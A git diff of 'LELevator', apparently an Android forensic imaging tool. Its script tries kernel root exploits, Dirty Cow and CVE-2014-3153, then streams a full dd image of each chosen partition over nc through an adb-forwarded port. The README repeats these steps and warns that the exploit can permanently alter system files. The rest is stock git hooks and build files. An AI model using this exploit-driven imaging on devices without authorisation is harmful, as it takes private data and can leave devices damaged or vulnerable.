diff --git b/.gitignore a/.gitignore new file mode 100644 index 0000000..085b4c2 --- /dev/null +++ a/.gitignore @@ -0,0 +1,8 @@ +dump +exploits/CVE-2016-5195/libs +exploits/CVE-2016-5195/obj +exploits/CVE-2014-3153/libs +exploits/CVE-2014-3153/obj +tools/busybox-android/busybox +tools/busybox-android/busybox*/ +backup diff --git b/.gitmodules a/.gitmodules new file mode 100644 index 0000000..1bec48d --- /dev/null +++ a/.gitmodules @@ -0,0 +1,12 @@ +[submodule "tools/linux-kernel-exploitation"] + path = tools/linux-kernel-exploitation + url = https://github.com/xairy/linux-kernel-exploitation +[submodule "tools/kernel-exploits"] + path = tools/kernel-exploits + url = https://github.com/xairy/kernel-exploits.git +[submodule "exploits/android_run_root_shell"] + path = exploits/android_run_root_shell + url = https://github.com/android-rooting-tools/android_run_root_shell +[submodule "exploits/CVE-2014-3153"] + path = exploits/CVE-2014-3153 + url = https://github.com/timwr/CVE-2014-3153 diff --git b/LELevator.sh a/LELevator.sh new file mode 100755 index 0000000..40c01ed --- /dev/null +++ a/LELevator.sh @@ -0,0 +1,173 @@ +#!/bin/bash + +DEBUG=0 + +echo ' _ _____ _ _ ' +echo '| | | ____| | _____ ____ _| |_ ___ _ __ ' +echo '| | | _| | | / _ \ \ / / _` | __/ _ \| `__|' +echo '| |___| |___| |__| __/\ V / (_| | || (_) | | ' +echo '|_____|_____|_____\___| \_/ \__,_|\__\___/|_| ' +echo ' ' +echo 'Top LEL! ' +echo ' ' + +sleep 1 +if [[ $DEBUG == 1 ]]; then + set -x + trap read debug +fi + +EXPLOITLIST="$(cat exploits/exploit_list | grep -P '^[^#]')" +DEVICELIST="$(adb devices | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g")" +TCPPORT="8000" + +function show_progress() +{ + local file="$1" + local disk="$2" + local disksize="$3" + local rewrite="\e[1A" + local progress=0 + local filesize=0 + local cumspeed=1 + local speedavg=0 + local prev_filesize=0 + local timeleft=0 + local counter=1 + + ( + while true; do + filesize=$(stat $file --printf "%s") + progress=$(($filesize*100/$disksize)) + if [[ $progress -gt 100 ]]; then + progress=100 + fi + echo "XXX" + echo "$progress" + echo "Disk image ($disk -> $file): $timeleft left @ $(($speedavg/1024)) KiB/s avg" + echo "XXX" + sleep 1 + if [[ $progress == 100 ]]; then + break + fi + cumspeed=$(($cumspeed + $filesize - $prev_filesize)) + speedavg=$(($cumspeed / $counter)) + counter=$(($counter + 1)) + timeleft=`date -u -d@$((($disksize - $filesize)/$speedavg)) +"%T"` + prev_filesize=$filesize + done + ) | dialog --title "Copy progress" --gauge "Please wait..." 7 70 0 + clear +} + +function deploy_busybox() +{ + pushd tools/busybox-android > /dev/null + if [[ ! -f busybox ]]; then + echo "Building Busybox..." + ./build.sh > /dev/null + fi + ./deploy.sh $1 > /dev/null + echo "Busybox deployed!" + popd > /dev/null +} + +function remove_busybox() +{ + tools/busybox-android/undeploy.sh $1 > /dev/null + echo "Busybox removed from device" +} + +function acquire_disk() +{ + local DISK="$1" + local DISKNAME=$(basename $DISK) + local DISKSIZE=$(($(adb -s $2 shell cat /proc/partitions | tr -d $'\xd' | tr -s " " | grep $DISKNAME$ | cut -d' ' -f 4)*1024)) + + if [[ $DEBUG == 1 ]]; then + DISK="/system/bin/mksh" + DISKSIZE=$(adb -s $2 shell /data/local/tmp/stat -c "%s" $DISK | tr -d $'\xd') + fi + + local rootcmd + echo "Starting copy of $DISKNAME on $2 ($(($DISKSIZE/1024)) KiB)" + for exploit in $EXPLOITLIST; do + echo -n "Trying exploit $exploit... " + eval pre_$exploit $2 + rootcmd=$(eval $exploit $2) + if [[ $? == 0 ]]; then + echo "Success!" + break; + else + echo "Failure" + eval post_$exploit $2 + fi + done + if [[ $rootcmd == "" ]]; then + echo "Couldn't find a working exploit. Aborting copy of $DISKNAME on $2" + return 1 + fi + + pushd dump/$2 > /dev/null + adb -s $2 forward tcp:$TCPPORT tcp:$TCPPORT + local start=$(date +%s) + echo "cd /data/local/tmp;./dd if=$DISK conv=noerror,sync | ./gzip | ./nc -l -p $TCPPORT;exit" | $rootcmd > /dev/null& + sleep 1 + nc -w 3 localhost $TCPPORT | gunzip | tee $DISKNAME.dd | sha256sum > $DISKNAME.dd.sha256 & + show_progress $DISKNAME.dd $DISKNAME $DISKSIZE + local end=$(date +%s) + sleep 3 + adb -s $2 forward --remove-all + echo -e "Done.\n\nTime elapsed: $(($end-$start)) seconds\nHASH (SHA-256): $(cat $DISKNAME.dd.sha256 | cut -d' ' -f 1)\n" + if [[ $(stat --printf="%s" $DISKNAME.dd) == $DISKSIZE ]]; then + echo "$DISKNAME copied successfully!" + else + echo "WARNING: Disk size ($DISKSIZE B) and image size ($(stat --printf="%s" $DISKNAME.dd) B) do NOT match!" + fi + popd > /dev/null + + eval post_$exploit $2 + return 0 +} + +if [[ $DEVICELIST == "" ]]; then + echo "No devices found! Exiting..." + exit 1 +fi + +unset DEVICELIST +OLDIFS="$IFS" +IFS=$'\n' +for line in $(adb devices -l | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g"); do + SERIAL=$(echo $line | tr -s " " | cut -d ' ' -f 1) + DEV=$(echo $line | tr -s " " | cut -d ' ' -f 3) + DESC=$(echo $line | tr -s " " | cut -d ' ' -f 4-) + DEVICELIST+=( "$DEV" "$SERIAL $DESC" ) +done +IFS="$OLDIFS" + +SELECTEDDEVICE=$(dialog --stdout --backtitle "LELevator" --title "Select device" --menu "Choose one of the following Android devices" 15 100 8 "${DEVICELIST[@]}") +clear +if [[ $SELECTEDDEVICE == "" ]]; then + echo "No device selected. Exiting..." + exit 1 +fi + +mkdir -p "dump/$SELECTEDDEVICE" + +DISKS=$(adb -s $SELECTEDDEVICE shell cat /proc/partitions | grep -oP "mmcblk\d+" | sort -u) +DISKLIST="" +for disk in $DISKS; do + DISKLIST="$DISKLIST/dev/block/$disk $disk off " +done +SELECTEDDISKS=`dialog --stdout --backtitle "LELevator" --title "Select disk(s) to copy" --checklist "Choose one or more disks to copy" 15 40 4 $DISKLIST` +clear + +source exploits/*.sh +deploy_busybox $SELECTEDDEVICE +for disk in $SELECTEDDISKS; do + acquire_disk $disk $SELECTEDDEVICE +done +remove_busybox $SELECTEDDEVICE + +echo "Finished. Have a nice day!" diff --git b/README.md a/README.md new file mode 100644 index 0000000..b12ee45 --- /dev/null +++ a/README.md @@ -0,0 +1,42 @@ +REQUIREMENTS +============= +Debian packages: +* gcc-arm-linux-gnueabi (Busybox) +* dialog +* build-essential + +Android SDK: +* adb (on $PATH) +* NDK bundle (CVE-2016-5195 needs it) + +PROCEDURE FOR IMAGING +====================== + +1. Airplane mode +2. Exploit root +3. adb forward tcp:8000 tcp:8000 +4. (on recipient) nc -w 3 localhost 8000 | gunzip | tee file.dd | sha256sum | tee file.dd.sha256 +5. dd if=/dev/block/mmcblk0 conv=noerror,sync | gzip | nc -l -p 8000 +6. Crack a cold brewski with THE FUCKING LADS +7. Profit! + +PROCEDURE FOR BUSYBOX +======================== +(on tools/busybox-android folder) +1. ./build.sh +2. ./deploy.sh + +NOTES +====== +- Dumped image seems to use MSDOS partition table +- **WARNING** Exploit CVE-2016-5195 CAN overwrite RO files SOMEHOW, so besides de disk image, a copy of the run-as is also downloaded in case modification was permanent. In most terminals, the file is not overwritten, but it HAS happened and may very well happen, leaving the terminal vulnerable. + +EXPLOITS +========== +* **[PATCHED]** Dirty Cow (CVE-2016-5195): Exploit persists until reboot. Patched on 1st December 2016 Security Patch Level. + +DEVEL TODO's +============== +* [CVE-2014-3153] Adapt and try +* [CVE-2016-5195] dcow doesn't completely overwrite original file bytes sometimes. Requires multiple tries or reboot +* Logging system diff --git b/exploits/CVE-2014-3153 a/exploits/CVE-2014-3153 new file mode 160000 index 0000000..87540e7 --- /dev/null +++ a/exploits/CVE-2014-3153 @@ -0,0 +1 @@ +Subproject commit 87540e7ca9e1e57d234dd9779c484fa0673a9e31 diff --git b/exploits/CVE-2016-5195/.git-disabled/HEAD a/exploits/CVE-2016-5195/.git-disabled/HEAD new file mode 100644 index 0000000..cb089cd --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/HEAD @@ -0,0 +1 @@ +ref: refs/heads/master diff --git b/exploits/CVE-2016-5195/.git-disabled/config a/exploits/CVE-2016-5195/.git-disabled/config new file mode 100644 index 0000000..b543e5e --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/config @@ -0,0 +1,11 @@ +[core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true +[remote "origin"] + url = https://github.com/timwr/CVE-2016-5195.git + fetch = +refs/heads/*:refs/remotes/origin/* +[branch "master"] + remote = origin + merge = refs/heads/master diff --git b/exploits/CVE-2016-5195/.git-disabled/description a/exploits/CVE-2016-5195/.git-disabled/description new file mode 100644 index 0000000..498b267 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/description @@ -0,0 +1 @@ +Unnamed repository; edit this file 'description' to name the repository. diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample new file mode 100755 index 0000000..a5d7b84 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample @@ -0,0 +1,15 @@ +#!/bin/sh +# +# An example hook script to check the commit log message taken by +# applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. The hook is +# allowed to edit the commit message file. +# +# To enable this hook, rename this file to "applypatch-msg". + +. git-sh-setup +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} +: diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample new file mode 100755 index 0000000..b58d118 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to check the commit log message. +# Called by "git commit" with one argument, the name of the file +# that has the commit message. The hook should exit with non-zero +# status after issuing an appropriate message if it wants to stop the +# commit. The hook is allowed to edit the commit message file. +# +# To enable this hook, rename this file to "commit-msg". + +# Uncomment the below to add a Signed-off-by line to the message. +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg +# hook is more suited to it. +# +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" + +# This example catches duplicate Signed-off-by lines. + +test "" = "$(grep '^Signed-off-by: ' "$1" | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { + echo >&2 Duplicate Signed-off-by lines. + exit 1 +} diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample new file mode 100755 index 0000000..ec17ec1 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample @@ -0,0 +1,8 @@ +#!/bin/sh +# +# An example hook script to prepare a packed repository for use over +# dumb transports. +# +# To enable this hook, rename this file to "post-update". + +exec git update-server-info diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample new file mode 100755 index 0000000..4142082 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample @@ -0,0 +1,14 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed +# by applypatch from an e-mail message. +# +# The hook should exit with non-zero status after issuing an +# appropriate message if it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-applypatch". + +. git-sh-setup +precommit="$(git rev-parse --git-path hooks/pre-commit)" +test -x "$precommit" && exec "$precommit" ${1+"$@"} +: diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample new file mode 100755 index 0000000..68d62d5 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample @@ -0,0 +1,49 @@ +#!/bin/sh +# +# An example hook script to verify what is about to be committed. +# Called by "git commit" with no arguments. The hook should +# exit with non-zero status after issuing an appropriate message if +# it wants to stop the commit. +# +# To enable this hook, rename this file to "pre-commit". + +if git rev-parse --verify HEAD >/dev/null 2>&1 +then + against=HEAD +else + # Initial commit: diff against an empty tree object + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 +fi + +# If you want to allow non-ASCII filenames set this variable to true. +allownonascii=$(git config --bool hooks.allownonascii) + +# Redirect output to stderr. +exec 1>&2 + +# Cross platform projects tend to avoid non-ASCII filenames; prevent +# them from being added to the repository. We exploit the fact that the +# printable range starts at the space character and ends with tilde. +if [ "$allownonascii" != "true" ] && + # Note that the use of brackets around a tr range is ok here, (it's + # even required, for portability to Solaris 10's /usr/bin/tr), since + # the square bracket bytes happen to fall in the designated range. + test $(git diff --cached --name-only --diff-filter=A -z $against | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 +then + cat <<\EOF +Error: Attempt to add a non-ASCII file name. + +This can cause problems if you want to work with people on other platforms. + +To be portable it is advisable to rename the file. + +If you know what you are doing you can disable this check using: + + git config hooks.allownonascii true +EOF + exit 1 +fi + +# If there are whitespace errors, print the offending file names and fail. +exec git diff-index --check --cached $against -- diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample new file mode 100755 index 0000000..6187dbf --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample @@ -0,0 +1,53 @@ +#!/bin/sh + +# An example hook script to verify what is about to be pushed. Called by "git +# push" after it has checked the remote status, but before anything has been +# pushed. If this script exits with a non-zero status nothing will be pushed. +# +# This hook is called with the following parameters: +# +# $1 -- Name of the remote to which the push is being done +# $2 -- URL to which the push is being done +# +# If pushing without using a named remote those arguments will be equal. +# +# Information about the commits which are being pushed is supplied as lines to +# the standard input in the form: +# +# +# +# This sample shows how to prevent push of commits where the log message starts +# with "WIP" (work in progress). + +remote="$1" +url="$2" + +z40=0000000000000000000000000000000000000000 + +while read local_ref local_sha remote_ref remote_sha +do + if [ "$local_sha" = $z40 ] + then + # Handle delete + : + else + if [ "$remote_sha" = $z40 ] + then + # New branch, examine all commits + range="$local_sha" + else + # Update to existing branch, examine new commits + range="$remote_sha..$local_sha" + fi + + # Check for WIP commit + commit=`git rev-list -n 1 --grep '^WIP' "$range"` + if [ -n "$commit" ] + then + echo >&2 "Found WIP commit in $local_ref, not pushing" + exit 1 + fi + fi +done + +exit 0 diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample new file mode 100755 index 0000000..33730ca --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample @@ -0,0 +1,169 @@ +#!/bin/sh +# +# Copyright (c) 2006, 2008 Junio C Hamano +# +# The "pre-rebase" hook is run just before "git rebase" starts doing +# its job, and can prevent the command from running by exiting with +# non-zero status. +# +# The hook is called with the following parameters: +# +# $1 -- the upstream the series was forked from. +# $2 -- the branch being rebased (or empty when rebasing the current branch). +# +# This sample shows how to prevent topic branches that are already +# merged to 'next' branch from getting rebased, because allowing it +# would result in rebasing already published history. + +publish=next +basebranch="$1" +if test "$#" = 2 +then + topic="refs/heads/$2" +else + topic=`git symbolic-ref HEAD` || + exit 0 ;# we do not interrupt rebasing detached HEAD +fi + +case "$topic" in +refs/heads/??/*) + ;; +*) + exit 0 ;# we do not interrupt others. + ;; +esac + +# Now we are dealing with a topic branch being rebased +# on top of master. Is it OK to rebase it? + +# Does the topic really exist? +git show-ref -q "$topic" || { + echo >&2 "No such branch $topic" + exit 1 +} + +# Is topic fully merged to master? +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` +if test -z "$not_in_master" +then + echo >&2 "$topic is fully merged to master; better remove it." + exit 1 ;# we could allow it, but there is no point. +fi + +# Is topic ever merged to next? If so you should not be rebasing it. +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` +only_next_2=`git rev-list ^master ${publish} | sort` +if test "$only_next_1" = "$only_next_2" +then + not_in_topic=`git rev-list "^$topic" master` + if test -z "$not_in_topic" + then + echo >&2 "$topic is already up-to-date with master" + exit 1 ;# we could allow it, but there is no point. + else + exit 0 + fi +else + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` + /usr/bin/perl -e ' + my $topic = $ARGV[0]; + my $msg = "* $topic has commits already merged to public branch:\n"; + my (%not_in_next) = map { + /^([0-9a-f]+) /; + ($1 => 1); + } split(/\n/, $ARGV[1]); + for my $elem (map { + /^([0-9a-f]+) (.*)$/; + [$1 => $2]; + } split(/\n/, $ARGV[2])) { + if (!exists $not_in_next{$elem->[0]}) { + if ($msg) { + print STDERR $msg; + undef $msg; + } + print STDERR " $elem->[1]\n"; + } + } + ' "$topic" "$not_in_next" "$not_in_master" + exit 1 +fi + +<<\DOC_END + +This sample hook safeguards topic branches that have been +published from being rewound. + +The workflow assumed here is: + + * Once a topic branch forks from "master", "master" is never + merged into it again (either directly or indirectly). + + * Once a topic branch is fully cooked and merged into "master", + it is deleted. If you need to build on top of it to correct + earlier mistakes, a new topic branch is created by forking at + the tip of the "master". This is not strictly necessary, but + it makes it easier to keep your history simple. + + * Whenever you need to test or publish your changes to topic + branches, merge them into "next" branch. + +The script, being an example, hardcodes the publish branch name +to be "next", but it is trivial to make it configurable via +$GIT_DIR/config mechanism. + +With this workflow, you would want to know: + +(1) ... if a topic branch has ever been merged to "next". Young + topic branches can have stupid mistakes you would rather + clean up before publishing, and things that have not been + merged into other branches can be easily rebased without + affecting other people. But once it is published, you would + not want to rewind it. + +(2) ... if a topic branch has been fully merged to "master". + Then you can delete it. More importantly, you should not + build on top of it -- other people may already want to + change things related to the topic as patches against your + "master", so if you need further changes, it is better to + fork the topic (perhaps with the same name) afresh from the + tip of "master". + +Let's look at this example: + + o---o---o---o---o---o---o---o---o---o "next" + / / / / + / a---a---b A / / + / / / / + / / c---c---c---c B / + / / / \ / + / / / b---b C \ / + / / / / \ / + ---o---o---o---o---o---o---o---o---o---o---o "master" + + +A, B and C are topic branches. + + * A has one fix since it was merged up to "next". + + * B has finished. It has been fully merged up to "master" and "next", + and is ready to be deleted. + + * C has not merged to "next" at all. + +We would want to allow C to be rebased, refuse A, and encourage +B to be deleted. + +To compute (1): + + git rev-list ^master ^topic next + git rev-list ^master next + + if these match, topic has not merged in next at all. + +To compute (2): + + git rev-list master..topic + + if this is empty, it is fully merged to "master". + +DOC_END diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample new file mode 100644 index 0000000..a1fd29e --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample @@ -0,0 +1,24 @@ +#!/bin/sh +# +# An example hook script to make use of push options. +# The example simply echoes all push options that start with 'echoback=' +# and rejects all pushes when the "reject" push option is used. +# +# To enable this hook, rename this file to "pre-receive". + +if test -n "$GIT_PUSH_OPTION_COUNT" +then + i=0 + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" + do + eval "value=\$GIT_PUSH_OPTION_$i" + case "$value" in + echoback=*) + echo "echo from the pre-receive-hook: ${value#*=}" >&2 + ;; + reject) + exit 1 + esac + i=$((i + 1)) + done +fi diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample new file mode 100755 index 0000000..f093a02 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample @@ -0,0 +1,36 @@ +#!/bin/sh +# +# An example hook script to prepare the commit log message. +# Called by "git commit" with the name of the file that has the +# commit message, followed by the description of the commit +# message's source. The hook's purpose is to edit the commit +# message file. If the hook fails with a non-zero status, +# the commit is aborted. +# +# To enable this hook, rename this file to "prepare-commit-msg". + +# This hook includes three examples. The first comments out the +# "Conflicts:" part of a merge commit. +# +# The second includes the output of "git diff --name-status -r" +# into the message, just before the "git status" output. It is +# commented because it doesn't cope with --amend or with squashed +# commits. +# +# The third example adds a Signed-off-by line to the message, that can +# still be edited. This is rarely a good idea. + +case "$2,$3" in + merge,) + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; + +# ,|template,) +# /usr/bin/perl -i.bak -pe ' +# print "\n" . `git diff --cached --name-status -r` +# if /^#/ && $first++ == 0' "$1" ;; + + *) ;; +esac + +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" diff --git b/exploits/CVE-2016-5195/.git-disabled/hooks/update.sample a/exploits/CVE-2016-5195/.git-disabled/hooks/update.sample new file mode 100755 index 0000000..80ba941 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/update.sample @@ -0,0 +1,128 @@ +#!/bin/sh +# +# An example hook script to block unannotated tags from entering. +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new +# +# To enable this hook, rename this file to "update". +# +# Config +# ------ +# hooks.allowunannotated +# This boolean sets whether unannotated tags will be allowed into the +# repository. By default they won't be. +# hooks.allowdeletetag +# This boolean sets whether deleting tags will be allowed in the +# repository. By default they won't be. +# hooks.allowmodifytag +# This boolean sets whether a tag may be modified after creation. By default +# it won't be. +# hooks.allowdeletebranch +# This boolean sets whether deleting branches will be allowed in the +# repository. By default they won't be. +# hooks.denycreatebranch +# This boolean sets whether remotely creating branches will be denied +# in the repository. By default this is allowed. +# + +# --- Command line +refname="$1" +oldrev="$2" +newrev="$3" + +# --- Safety check +if [ -z "$GIT_DIR" ]; then + echo "Don't run this script from the command line." >&2 + echo " (if you want, you could supply GIT_DIR then run" >&2 + echo " $0 )" >&2 + exit 1 +fi + +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then + echo "usage: $0 " >&2 + exit 1 +fi + +# --- Config +allowunannotated=$(git config --bool hooks.allowunannotated) +allowdeletebranch=$(git config --bool hooks.allowdeletebranch) +denycreatebranch=$(git config --bool hooks.denycreatebranch) +allowdeletetag=$(git config --bool hooks.allowdeletetag) +allowmodifytag=$(git config --bool hooks.allowmodifytag) + +# check for no description +projectdesc=$(sed -e '1q' "$GIT_DIR/description") +case "$projectdesc" in +"Unnamed repository"* | "") + echo "*** Project description file hasn't been set" >&2 + exit 1 + ;; +esac + +# --- Check types +# if $newrev is 0000...0000, it's a commit to delete a ref. +zero="0000000000000000000000000000000000000000" +if [ "$newrev" = "$zero" ]; then + newrev_type=delete +else + newrev_type=$(git cat-file -t $newrev) +fi + +case "$refname","$newrev_type" in + refs/tags/*,commit) + # un-annotated tag + short_refname=${refname##refs/tags/} + if [ "$allowunannotated" != "true" ]; then + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 + exit 1 + fi + ;; + refs/tags/*,delete) + # delete tag + if [ "$allowdeletetag" != "true" ]; then + echo "*** Deleting a tag is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/tags/*,tag) + # annotated tag + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 + then + echo "*** Tag '$refname' already exists." >&2 + echo "*** Modifying a tag is not allowed in this repository." >&2 + exit 1 + fi + ;; + refs/heads/*,commit) + # branch + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then + echo "*** Creating a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/heads/*,delete) + # delete branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + refs/remotes/*,commit) + # tracking branch + ;; + refs/remotes/*,delete) + # delete tracking branch + if [ "$allowdeletebranch" != "true" ]; then + echo "*** Deleting a tracking branch is not allowed in this repository" >&2 + exit 1 + fi + ;; + *) + # Anything else (is there anything else?) + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 + exit 1 + ;; +esac + +# --- Finished +exit 0 diff --git b/exploits/CVE-2016-5195/.git-disabled/index a/exploits/CVE-2016-5195/.git-disabled/index new file mode 100644 index 0000000..bae3259 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/index diff --git b/exploits/CVE-2016-5195/.git-disabled/info/exclude a/exploits/CVE-2016-5195/.git-disabled/info/exclude new file mode 100644 index 0000000..a5196d1 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/info/exclude @@ -0,0 +1,6 @@ +# git ls-files --others --exclude-from=.git/info/exclude +# Lines that start with '#' are comments. +# For a project mostly in C, the following would be a good set of +# exclude patterns (uncomment them if you want to use them): +# *.[oa] +# *~ diff --git b/exploits/CVE-2016-5195/.git-disabled/logs/HEAD a/exploits/CVE-2016-5195/.git-disabled/logs/HEAD new file mode 100644 index 0000000..94d6c29 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/logs/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git diff --git b/exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master a/exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master new file mode 100644 index 0000000..94d6c29 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/logs/refs/heads/master @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git diff --git b/exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD a/exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD new file mode 100644 index 0000000..94d6c29 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/logs/refs/remotes/origin/HEAD @@ -0,0 +1 @@ +0000000000000000000000000000000000000000 fe0e2d64979f690600ea3f55cfc15a1ef9370845 Imanol-Mikel Barba Sabariego 1483574132 +0100 clone: from https://github.com/timwr/CVE-2016-5195.git diff --git b/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.idx a/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.idx new file mode 100644 index 0000000..9c32bf7 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.idx diff --git b/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.pack a/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.pack new file mode 100644 index 0000000..86175b9 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/objects/pack/pack-fd6ad10a65d7118e4f67c5dd2bf8c285e1255172.pack diff --git b/exploits/CVE-2016-5195/.git-disabled/packed-refs a/exploits/CVE-2016-5195/.git-disabled/packed-refs new file mode 100644 index 0000000..67503f3 --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/packed-refs @@ -0,0 +1,3 @@ +# pack-refs with: peeled fully-peeled +fe0e2d64979f690600ea3f55cfc15a1ef9370845 refs/remotes/origin/master +50a356af6fb5d0aed3ea24fb34ed2a0f812fe2c7 refs/remotes/origin/oldcow diff --git b/exploits/CVE-2016-5195/.git-disabled/refs/heads/master a/exploits/CVE-2016-5195/.git-disabled/refs/heads/master new file mode 100644 index 0000000..976b09f --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/refs/heads/master @@ -0,0 +1 @@ +fe0e2d64979f690600ea3f55cfc15a1ef9370845 diff --git b/exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD a/exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD new file mode 100644 index 0000000..6efe28f --- /dev/null +++ a/exploits/CVE-2016-5195/.git-disabled/refs/remotes/origin/HEAD @@ -0,0 +1 @@ +ref: refs/remotes/origin/master diff --git b/exploits/CVE-2016-5195/.gitignore a/exploits/CVE-2016-5195/.gitignore new file mode 100644 index 0000000..83ad9c3 --- /dev/null +++ a/exploits/CVE-2016-5195/.gitignore @@ -0,0 +1,28 @@ +# files for diffutils +*.orig +*.rej + +# built application files +*.apk +*.ap_ + +# files for the dex VM +*.dex + +# Java class files +*.class + +# generated files +bin/ +gen/ +libs/ +obj/ + +# Local configuration file (sdk path, etc) +local.properties +build.prop +build.prop.bak + +# Eclipse project files +.classpath +.project diff --git b/exploits/CVE-2016-5195/Android.mk a/exploits/CVE-2016-5195/Android.mk new file mode 100644 index 0000000..8ea4734 --- /dev/null +++ a/exploits/CVE-2016-5195/Android.mk @@ -0,0 +1,24 @@ +LOCAL_PATH := $(call my-dir) + +include $(CLEAR_VARS) + +LOCAL_SRC_FILES := \ + dirtycow.c \ + dcow.c + +LOCAL_MODULE := dirtycow +LOCAL_LDFLAGS += -llog +LOCAL_CFLAGS += -DDEBUG + +include $(BUILD_EXECUTABLE) + +include $(CLEAR_VARS) +LOCAL_MODULE := run-as +LOCAL_SRC_FILES := \ + dirtycow.c \ + run-as.c 